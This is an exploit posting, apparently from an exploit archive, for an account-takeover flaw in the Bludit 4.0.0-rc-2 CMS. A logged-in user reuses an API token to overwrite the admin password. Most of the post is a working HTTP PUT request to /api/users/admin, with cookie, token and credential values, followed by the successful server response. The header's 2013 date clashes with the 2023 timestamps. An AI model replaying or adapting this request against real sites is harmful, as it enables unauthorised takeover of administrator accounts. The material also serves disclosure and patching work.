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Bludit 4.0.0-rc-2 Privilege Escalation Vulnerability
## Title: Bludit-4.0.0-rc-2 - Release candidate 2 Account takeover: API token vulnerability ## Author: nu11secur1ty ## Date: 04.11.2013 ## Vendor: https://www.bludit.com/ ## Software: https://github.com/bludit/bludit/releases/tag/4.0.0-rc-2 ## Reference: https://www.cloudflare.com/learning/access-management/account-takeover/ ## Reference: https://portswigger.net/daily-swig/facebook-account-takeover-researcher-scoops-40k-bug-bounty-for-chained-exploit ## Description: The already authenticated attacker can send a normal request to change his password and then he can use the same JSON `object` and the vulnerable `API token KEY` in the same request to change the admin account password. Then he can access the admin account and he can do very malicious stuff. STATUS: HIGH Vulnerability [+]Exploit: ```PUT PUT /api/users/admin HTTP/1.1 Host: 127.0.0.1:8000 Content-Length: 138 sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36 content-type: application/json Accept: */* Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8000/admin/edit-user/pwned Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: BLUDIT-KEY=98t31p2g0i7t6rscufuccpthui Connection: close {"token":"4f8df9f64e84fa4562ec3a604bf7985c","authentication":"6d1a5510a53f9d89325b0cd56a2855a9","username":"pwned","password":"password1"} ``` [+]Response: ```HTTP HTTP/1.1 200 OK Host: 127.0.0.1:8000 Date: Tue, 11 Apr 2023 08:33:51 GMT Connection: close X-Powered-By: PHP/7.4.30 Access-Control-Allow-Origin: * Content-Type: application/json {"status":"0","message":"User edited.","data":{"key":"admin"}} ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/bludit/2023/Bludit-v4.0.0-Release-candidate-2) ## Proof and Exploit: [href](https://streamable.com/w3aa4d) ## Time spend: 00:57:00 # 0day.today [2024-10-06] #